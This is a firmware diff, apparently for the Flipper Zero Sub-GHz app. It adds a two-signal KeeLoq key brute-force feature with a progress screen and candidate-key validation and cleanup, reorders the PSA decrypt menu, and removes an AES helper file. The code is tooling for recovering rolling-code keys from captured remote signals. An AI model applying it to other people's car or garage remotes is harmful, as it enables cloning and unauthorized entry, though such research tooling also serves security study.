+static bool kl_cleanup_validate_key(uint64_t key, uint32_t hop1, uint32_t hop2, uint8_t btn, uint16_t disc) {
+    if(!kl_cleanup_validate_hop(key, hop1, btn, disc)) return false;
+    if(hop2 == 0) return true;
+    if(!kl_cleanup_validate_hop(key, hop2, btn, disc)) return false;
+    uint32_t dec1 = subghz_protocol_keeloq_common_decrypt(hop1, key);
+    uint32_t dec2 = subghz_protocol_keeloq_common_decrypt(hop2, key);
+    uint16_t cnt1 = dec1 & 0xFFFF;
+    uint16_t cnt2 = dec2 & 0xFFFF;
+    int diff = (int)cnt2 - (int)cnt1;
+    return (diff >= 1 && diff <= 256);
+}
+
+void subghz_scene_kl_bf_cleanup_on_enter(void* context) {
+    SubGhz* subghz = context;
+
+    KlCleanupCtx* ctx = malloc(sizeof(KlCleanupCtx));
+    memset(ctx, 0, sizeof(KlCleanupCtx));
+
+    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+    flipper_format_rewind(fff);
+
+    uint8_t key_data[8] = {0};
+    if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
+        ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
+                   ((uint32_t)key_data[2] << 8) | key_data[3];
+        ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
+                   ((uint32_t)key_data[6] << 8) | key_data[7];
+        ctx->serial = ctx->fix & 0x0FFFFFFF;
+        ctx->btn = ctx->fix >> 28;
+        ctx->disc = ctx->serial & 0x3FF;
+    }
+
+    ctx->hop2 = 0;
+    flipper_format_rewind(fff);
+    flipper_format_read_uint32(fff, "Hop2", &ctx->hop2, 1);
+
+    scene_manager_set_scene_state(
+        subghz->scene_manager, SubGhzSceneKlBfCleanup, (uint32_t)(uintptr_t)ctx);
+
+    if(!subghz->keeloq_keys_manager) {
+        subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
+    }
+
+    char bf_name[24];
+    snprintf(bf_name, sizeof(bf_name), "BF_%07lX", ctx->serial);
+
+    size_t user_count = subghz_keeloq_keys_user_count(subghz->keeloq_keys_manager);
+    ctx->bf_count = 0;
+    ctx->valid_count = 0;
+
+    for(size_t i = 0; i < user_count && ctx->bf_count < 32; i++) {
+        SubGhzKey* k = subghz_keeloq_keys_get(subghz->keeloq_keys_manager, i);
+        if(!k || !k->name) continue;
+        const char* name = furi_string_get_cstr(k->name);
+        if(strcmp(name, bf_name) == 0) {
+            ctx->bf_indices[ctx->bf_count] = i;
+            if(kl_cleanup_validate_key(k->key, ctx->hop, ctx->hop2, ctx->btn, ctx->disc)) {
+                ctx->valid_indices[ctx->valid_count++] = i;
+            }
+            ctx->bf_count++;
+        }
+    }
+
+    FuriString* msg = furi_string_alloc();
+
+    if(ctx->bf_count == 0) {
+        furi_string_set_str(msg, "No BF candidate keys\nfound for this serial.");
+    } else if(ctx->bf_count == 1) {
+        furi_string_set_str(msg, "Only 1 BF key exists.\nNothing to clean up.");
+    } else if(ctx->valid_count == 1) {
+        size_t deleted = 0;
+        for(int i = (int)ctx->bf_count - 1; i >= 0; i--) {
+            if(ctx->bf_indices[i] != ctx->valid_indices[0]) {
+                subghz_keeloq_keys_delete(subghz->keeloq_keys_manager, ctx->bf_indices[i]);
+                deleted++;
+            }
+        }
+        subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
+
+        furi_string_printf(msg,
+            "Cleaned %u keys.\nKept valid key:\n%s",
+            deleted, bf_name);
+    } else if(ctx->valid_count == 0) {
+        furi_string_printf(msg,
+            "%u BF keys found\nbut none validates\nhop. Kept all.",
+            ctx->bf_count);
+    } else {
+        furi_string_printf(msg,
+            "%u BF keys, %u valid.\nCannot auto-select.\nKept all.",
+            ctx->bf_count, ctx->valid_count);
+    }
+
+    widget_add_text_scroll_element(subghz->widget, 0, 0, 128, 64, furi_string_get_cstr(msg));
+    furi_string_free(msg);
+
+    view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
+}
+
+bool subghz_scene_kl_bf_cleanup_on_event(void* context, SceneManagerEvent event) {
+    UNUSED(context);
+    UNUSED(event);
+    return false;
+}
+
+void subghz_scene_kl_bf_cleanup_on_exit(void* context) {
+    SubGhz* subghz = context;
+
+    KlCleanupCtx* ctx = (KlCleanupCtx*)(uintptr_t)scene_manager_get_scene_state(
+        subghz->scene_manager, SubGhzSceneKlBfCleanup);
+    if(ctx) {
+        free(ctx);
+        scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKlBfCleanup, 0);
+    }
+
+    widget_reset(subghz->widget);
+}

applications/main/subghz/scenes/subghz_scene_saved_menu.c

@@ -2,10 +2,10 @@
 
 enum SubmenuIndex {
     SubmenuIndexEmulate,
+    SubmenuIndexPsaDecrypt,
     SubmenuIndexEdit,
     SubmenuIndexDelete,
     SubmenuIndexSignalSettings,
-    SubmenuIndexPsaDecrypt,
     SubmenuIndexCounterBf
 };
 
@@ -17,7 +17,6 @@ void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
 void subghz_scene_saved_menu_on_enter(void* context) {
     SubGhz* subghz = context;
 
-    // Check protocol type for conditional menu items
     FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
     bool is_psa_encrypted = false;
     bool has_counter = false;
@@ -26,7 +25,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
         flipper_format_rewind(fff);
         if(flipper_format_read_string(fff, "Protocol", proto)) {
             if(furi_string_equal_str(proto, "PSA GROUP")) {
-                // Check if Type field is missing or zero (not yet decrypted)
                 FuriString* type_str = furi_string_alloc();
                 flipper_format_rewind(fff);
                 if(!flipper_format_read_string(fff, "Type", type_str) ||
@@ -39,37 +37,31 @@ void subghz_scene_saved_menu_on_enter(void* context) {
         furi_string_free(proto);
     }
 
-    // Check if protocol has a Cnt field (supports counter bruteforce)
     if(fff) {
         uint32_t cnt_tmp = 0;
         flipper_format_rewind(fff);
-        bool got_uint = flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1);
-        FURI_LOG_I("SAVEDMENU", "Cnt uint32 read: %d val=%lu", (int)got_uint, (unsigned long)cnt_tmp);
-        if(got_uint) {
+        if(flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
             has_counter = true;
-        } else {
-            FuriString* cnt_str = furi_string_alloc();
-            flipper_format_rewind(fff);
-            bool got_str = flipper_format_read_string(fff, "Cnt", cnt_str);
-            FURI_LOG_I("SAVEDMENU", "Cnt string read: %d val=%s", (int)got_str, got_str ? furi_string_get_cstr(cnt_str) : "N/A");
-            if(got_str && furi_string_size(cnt_str) > 0) {
-                has_counter = true;
-            }
-            furi_string_free(cnt_str);
         }
-        FuriString* proto_dbg = furi_string_alloc();
-        flipper_format_rewind(fff);
-        flipper_format_read_string(fff, "Protocol", proto_dbg);
-        FURI_LOG_I("SAVEDMENU", "Protocol=%s has_counter=%d", furi_string_get_cstr(proto_dbg), (int)has_counter);
-        furi_string_free(proto_dbg);
     }
 
-    submenu_add_item(
-        subghz->submenu,
-        "Emulate",
-        SubmenuIndexEmulate,
-        subghz_scene_saved_menu_submenu_callback,
-        subghz);
+    if(!is_psa_encrypted) {
+        submenu_add_item(
+            subghz->submenu,
+            "Emulate",
+            SubmenuIndexEmulate,
+            subghz_scene_saved_menu_submenu_callback,
+            subghz);
+    }
+
+    if(is_psa_encrypted) {
+        submenu_add_item(
+            subghz->submenu,
+            "PSA Decrypt",
+            SubmenuIndexPsaDecrypt,
+            subghz_scene_saved_menu_submenu_callback,
+            subghz);
+    }
 
     submenu_add_item(
         subghz->submenu,
@@ -92,15 +84,8 @@ void subghz_scene_saved_menu_on_enter(void* context) {
             SubmenuIndexSignalSettings,
             subghz_scene_saved_menu_submenu_callback,
             subghz);
-    };
-    if(is_psa_encrypted) {
-        submenu_add_item(
-            subghz->submenu,
-            "PSA Decrypt",
-            SubmenuIndexPsaDecrypt,
-            subghz_scene_saved_menu_submenu_callback,
-            subghz);
     }
+
     if(has_counter) {
         submenu_add_item(
             subghz->submenu,
@@ -126,6 +111,11 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
                 subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
             scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
             return true;
+        } else if(event.event == SubmenuIndexPsaDecrypt) {
+            scene_manager_set_scene_state(
+                subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
+            scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
+            return true;
         } else if(event.event == SubmenuIndexDelete) {
             scene_manager_set_scene_state(
                 subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexDelete);
@@ -141,11 +131,6 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
                 subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSignalSettings);
             scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSignalSettings);
             return true;
-        } else if(event.event == SubmenuIndexPsaDecrypt) {
-            scene_manager_set_scene_state(
-                subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
-            scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
-            return true;
         } else if(event.event == SubmenuIndexCounterBf) {
             scene_manager_set_scene_state(
                 subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);

applications/main/subghz/scenes/subghz_scene_start.c

@@ -55,6 +55,12 @@ void subghz_scene_start_on_enter(void* context) {
         SubmenuIndexKeeloqKeys,
         subghz_scene_start_submenu_callback,
         subghz);
+    submenu_add_item(
+        subghz->submenu,
+        "KeeLoq BF (2 Signals)",
+        SubmenuIndexKeeloqBf2,
+        subghz_scene_start_submenu_callback,
+        subghz);
     submenu_set_selected_item(
         subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart));
 
@@ -112,6 +118,11 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) {
                 subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqKeys);
             scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqKeys);
             return true;
+        } else if(event.event == SubmenuIndexKeeloqBf2) {
+            scene_manager_set_scene_state(
+                subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqBf2);
+            scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqBf2);
+            return true;
         }
     }
     return false;

applications/main/subghz/scenes/subghz_scene_start.h

@@ -10,4 +10,5 @@ enum SubmenuIndex {
     SubmenuIndexProtocolList,
     SubmenuIndexRadioSetting,
     SubmenuIndexKeeloqKeys,
+    SubmenuIndexKeeloqBf2,
 };

applications/main/subghz/subghz.c

@@ -95,6 +95,11 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
 
     subghz->keeloq_keys_manager = NULL;
 
+    subghz->keeloq_bf2.sig1_loaded = false;
+    subghz->keeloq_bf2.sig2_loaded = false;
+    subghz->keeloq_bf2.sig1_path = furi_string_alloc();
+    subghz->keeloq_bf2.sig2_path = furi_string_alloc();
+
     subghz->file_path = furi_string_alloc();
     subghz->file_path_tmp = furi_string_alloc();
 
@@ -195,6 +200,12 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
         SubGhzViewIdPsaDecrypt,
         subghz_view_psa_decrypt_get_view(subghz->subghz_psa_decrypt));
 
+    subghz->subghz_keeloq_decrypt = subghz_view_keeloq_decrypt_alloc();
+    view_dispatcher_add_view(
+        subghz->view_dispatcher,
+        SubGhzViewIdKeeloqDecrypt,
+        subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
+
     //init threshold rssi
     subghz->threshold_rssi = subghz_threshold_rssi_alloc();
 
@@ -306,6 +317,10 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
     view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdPsaDecrypt);
     subghz_view_psa_decrypt_free(subghz->subghz_psa_decrypt);
 
+    // KeeLoq Decrypt
+    view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
+    subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
+
     // Read RAW
     view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
     subghz_read_raw_free(subghz->subghz_read_raw);
@@ -353,7 +368,9 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
     furi_string_free(subghz->file_path);
     furi_string_free(subghz->file_path_tmp);
 
-    // KeeLoq key manager (may still be live if app exited from within the edit scene)
+    furi_string_free(subghz->keeloq_bf2.sig1_path);
+    furi_string_free(subghz->keeloq_bf2.sig2_path);
+
     if(subghz->keeloq_keys_manager) {
         subghz_keeloq_keys_free(subghz->keeloq_keys_manager);
         subghz->keeloq_keys_manager = NULL;

applications/main/subghz/subghz_i.h

@@ -9,6 +9,7 @@
 #include "views/subghz_frequency_analyzer.h"
 #include "views/subghz_read_raw.h"
 #include "views/subghz_psa_decrypt.h"
+#include "views/subghz_keeloq_decrypt.h"
 
 #include <gui/gui.h>
 #include <assets_icons.h>
@@ -74,6 +75,7 @@ struct SubGhz {
     SubGhzFrequencyAnalyzer* subghz_frequency_analyzer;
     SubGhzReadRAW* subghz_read_raw;
     SubGhzViewPsaDecrypt* subghz_psa_decrypt;
+    SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
     bool raw_send_only;
 
     bool save_datetime_set;
@@ -102,13 +104,25 @@ struct SubGhz {
     // KeeLoq key management
     SubGhzKeeloqKeysManager* keeloq_keys_manager;
     struct {
-        uint8_t key_bytes[8]; // ByteInput result
-        char name[65];        // TextInput result
-        uint16_t type;        // selected learning type 1..8
-        bool is_new;          // true = add, false = edit
-        size_t edit_index;    // valid when is_new == false
-        uint8_t edit_step;    // 0 = key, 1 = name, 2 = type
+        uint8_t key_bytes[8];
+        char name[65];
+        uint16_t type;
+        bool is_new;
+        size_t edit_index;
+        uint8_t edit_step;
     } keeloq_edit;
+
+    struct {
+        uint32_t fix;
+        uint32_t hop1;
+        uint32_t hop2;
+        uint32_t serial;
+        bool sig1_loaded;
+        bool sig2_loaded;
+        FuriString* sig1_path;
+        FuriString* sig2_path;
+        uint8_t learn_type;
+    } keeloq_bf2;
 };
 
 void subghz_blink_start(SubGhz* subghz);

applications/main/subghz/views/subghz_keeloq_decrypt.c

@@ -0,0 +1,246 @@
+#include "subghz_keeloq_decrypt.h"
+
+#include <gui/elements.h>
+#include <furi.h>
+
+#define KL_TOTAL_KEYS 0x100000000ULL
+
+struct SubGhzViewKeeloqDecrypt {
+    View* view;
+    SubGhzViewKeeloqDecryptCallback callback;
+    void* context;
+};
+
+typedef struct {
+    uint8_t progress;
+    uint32_t keys_tested;
+    uint32_t keys_per_sec;
+    uint32_t elapsed_sec;
+    uint32_t eta_sec;
+    bool done;
+    bool success;
+    uint32_t candidates;
+    FuriString* result_str;
+    char status_line[40];
+} SubGhzKeeloqDecryptModel;
+
+static void subghz_view_keeloq_decrypt_format_count(char* buf, size_t len, uint32_t count) {
+    if(count >= 1000000) {
+        snprintf(buf, len, "%lu.%luM", count / 1000000, (count % 1000000) / 100000);
+    } else if(count >= 1000) {
+        snprintf(buf, len, "%luK", count / 1000);
+    } else {
+        snprintf(buf, len, "%lu", count);
+    }
+}
+
+static void subghz_view_keeloq_decrypt_draw(Canvas* canvas, void* _model) {
+    SubGhzKeeloqDecryptModel* model = (SubGhzKeeloqDecryptModel*)_model;
+
+    canvas_clear(canvas);
+
+    if(!model->done) {
+        canvas_set_font(canvas, FontPrimary);
+        if(model->status_line[0]) {
+            canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, model->status_line);
+        } else {
+            canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "KeeLoq BF");
+        }
+
+        canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
+        uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
+        if(fill > 0) {
+            canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
+        }
+
+        canvas_set_font(canvas, FontSecondary);
+
+        char keys_str[32];
+        char tested_buf[12];
+        subghz_view_keeloq_decrypt_format_count(tested_buf, sizeof(tested_buf), model->keys_tested);
+        snprintf(keys_str, sizeof(keys_str), "%d%% - %s / 4G keys", model->progress, tested_buf);
+        canvas_draw_str(canvas, 2, 38, keys_str);
+
+        char speed_str[40];
+        char speed_buf[12];
+        subghz_view_keeloq_decrypt_format_count(speed_buf, sizeof(speed_buf), model->keys_per_sec);
+        uint32_t eta_m = model->eta_sec / 60;
+        uint32_t eta_s = model->eta_sec % 60;
+        if(eta_m > 0) {
+            snprintf(speed_str, sizeof(speed_str), "%s keys/sec  ETA %lum %lus", speed_buf, eta_m, eta_s);
+        } else {
+            snprintf(speed_str, sizeof(speed_str), "%s keys/sec  ETA %lus", speed_buf, eta_s);
+        }
+        canvas_draw_str(canvas, 2, 48, speed_str);
+
+        if(model->candidates > 0) {
+            char cand_str[32];
+            snprintf(cand_str, sizeof(cand_str), "Candidates: %lu", model->candidates);
+            canvas_draw_str(canvas, 2, 58, cand_str);
+        } else {
+            char elapsed_str[24];
+            uint32_t el_m = model->elapsed_sec / 60;
+            uint32_t el_s = model->elapsed_sec % 60;
+            if(el_m > 0) {
+                snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lum %lus", el_m, el_s);
+            } else {
+                snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lus", el_s);
+            }
+            canvas_draw_str(canvas, 2, 58, elapsed_str);
+        }
+
+        canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
+    } else {
+        canvas_set_font(canvas, FontSecondary);
+        if(model->result_str) {
+            elements_multiline_text_aligned(
+                canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
+        }
+    }
+}
+
+static bool subghz_view_keeloq_decrypt_input(InputEvent* event, void* context) {
+    SubGhzViewKeeloqDecrypt* instance = (SubGhzViewKeeloqDecrypt*)context;
+
+    if(event->key == InputKeyBack) {
+        if(instance->callback) {
+            instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
+        }
+        return true;
+    }
+    return false;
+}
+
+SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void) {
+    SubGhzViewKeeloqDecrypt* instance = malloc(sizeof(SubGhzViewKeeloqDecrypt));
+    instance->view = view_alloc();
+    view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzKeeloqDecryptModel));
+    view_set_context(instance->view, instance);
+    view_set_draw_callback(instance->view, subghz_view_keeloq_decrypt_draw);
+    view_set_input_callback(instance->view, subghz_view_keeloq_decrypt_input);
+
+    with_view_model(
+        instance->view,
+        SubGhzKeeloqDecryptModel * model,
+        {
+            model->result_str = furi_string_alloc();
+            model->progress = 0;
+            model->keys_tested = 0;
+            model->keys_per_sec = 0;
+            model->elapsed_sec = 0;
+            model->eta_sec = 0;
+            model->done = false;
+            model->success = false;
+            model->candidates = 0;
+        },
+        false);
+
+    return instance;
+}
+
+void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance) {
+    furi_check(instance);
+    with_view_model(
+        instance->view,
+        SubGhzKeeloqDecryptModel * model,
+        { furi_string_free(model->result_str); },
+        false);
+    view_free(instance->view);
+    free(instance);
+}
+
+View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance) {
+    furi_check(instance);
+    return instance->view;
+}
+
+void subghz_view_keeloq_decrypt_set_callback(
+    SubGhzViewKeeloqDecrypt* instance,
+    SubGhzViewKeeloqDecryptCallback callback,
+    void* context) {
+    furi_check(instance);
+    instance->callback = callback;
+    instance->context = context;
+}
+
+void subghz_view_keeloq_decrypt_update_stats(
+    SubGhzViewKeeloqDecrypt* instance,
+    uint8_t progress,
+    uint32_t keys_tested,
+    uint32_t keys_per_sec,
+    uint32_t elapsed_sec,
+    uint32_t eta_sec) {
+    furi_check(instance);
+    with_view_model(
+        instance->view,
+        SubGhzKeeloqDecryptModel * model,
+        {
+            model->progress = progress;
+            model->keys_tested = keys_tested;
+            model->keys_per_sec = keys_per_sec;
+            model->elapsed_sec = elapsed_sec;
+            model->eta_sec = eta_sec;
+        },
+        true);
+}
+
+void subghz_view_keeloq_decrypt_set_result(
+    SubGhzViewKeeloqDecrypt* instance,
+    bool success,
+    const char* result) {
+    furi_check(instance);
+    with_view_model(
+        instance->view,
+        SubGhzKeeloqDecryptModel * model,
+        {
+            model->done = true;
+            model->success = success;
+            furi_string_set_str(model->result_str, result);
+        },
+        true);
+}
+
+void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance) {
+    furi_check(instance);
+    with_view_model(
+        instance->view,
+        SubGhzKeeloqDecryptModel * model,
+        {
+            model->progress = 0;
+            model->keys_tested = 0;
+            model->keys_per_sec = 0;
+            model->elapsed_sec = 0;
+            model->eta_sec = 0;
+            model->done = false;
+            model->success = false;
+            model->candidates = 0;
+            furi_string_reset(model->result_str);
+            model->status_line[0] = '\0';
+        },
+        false);
+}
+
+void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status) {
+    furi_check(instance);
+    with_view_model(
+        instance->view,
+        SubGhzKeeloqDecryptModel * model,
+        {
+            if(status) {
+                strlcpy(model->status_line, status, sizeof(model->status_line));
+            } else {
+                model->status_line[0] = '\0';
+            }
+        },
+        true);
+}
+
+void subghz_view_keeloq_decrypt_update_candidates(
+    SubGhzViewKeeloqDecrypt* instance, uint32_t count) {
+    furi_check(instance);
+    with_view_model(
+        instance->view,
+        SubGhzKeeloqDecryptModel * model,
+        { model->candidates = count; },
+        true);
+}

applications/main/subghz/views/subghz_keeloq_decrypt.h

@@ -0,0 +1,37 @@
+#pragma once
+
+#include <gui/view.h>
+#include "../helpers/subghz_custom_event.h"
+
+typedef struct SubGhzViewKeeloqDecrypt SubGhzViewKeeloqDecrypt;
+
+typedef void (*SubGhzViewKeeloqDecryptCallback)(SubGhzCustomEvent event, void* context);
+
+SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void);
+void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance);
+View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance);
+
+void subghz_view_keeloq_decrypt_set_callback(
+    SubGhzViewKeeloqDecrypt* instance,
+    SubGhzViewKeeloqDecryptCallback callback,
+    void* context);
+
+void subghz_view_keeloq_decrypt_update_stats(
+    SubGhzViewKeeloqDecrypt* instance,
+    uint8_t progress,
+    uint32_t keys_tested,
+    uint32_t keys_per_sec,
+    uint32_t elapsed_sec,
+    uint32_t eta_sec);
+
+void subghz_view_keeloq_decrypt_set_result(
+    SubGhzViewKeeloqDecrypt* instance,
+    bool success,
+    const char* result);
+
+void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance);
+
+void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status);
+
+void subghz_view_keeloq_decrypt_update_candidates(
+    SubGhzViewKeeloqDecrypt* instance, uint32_t count);

applications/main/subghz/views/subghz_psa_decrypt.c

@@ -50,8 +50,10 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
         // Progress bar outline + fill
         canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
         uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
-        if(fill > 0) {
+	    if(fill > 2) {
             canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
+        } else if(fill > 0) {
+            canvas_draw_box(canvas, 5, 17, fill, 8);
         }
 
         canvas_set_font(canvas, FontSecondary);

lib/subghz/protocols/aes_common.c

@@ -1,252 +0,0 @@
-#include "aes_common.h"
-
-static const uint8_t aes_sbox[256] = {
-    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab,
-    0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4,
-    0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71,
-    0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,
-    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6,
-    0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb,
-    0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45,
-    0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
-    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44,
-    0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a,
-    0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49,
-    0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,
-    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25,
-    0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e,
-    0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1,
-    0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
-    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb,
-    0x16};
-
-static const uint8_t aes_sbox_inv[256] = {
-    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7,
-    0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde,
-    0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42,
-    0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,
-    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c,
-    0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15,
-    0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7,
-    0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,
-    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc,
-    0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad,
-    0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d,
-    0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,
-    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8,
-    0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51,
-    0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0,
-    0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
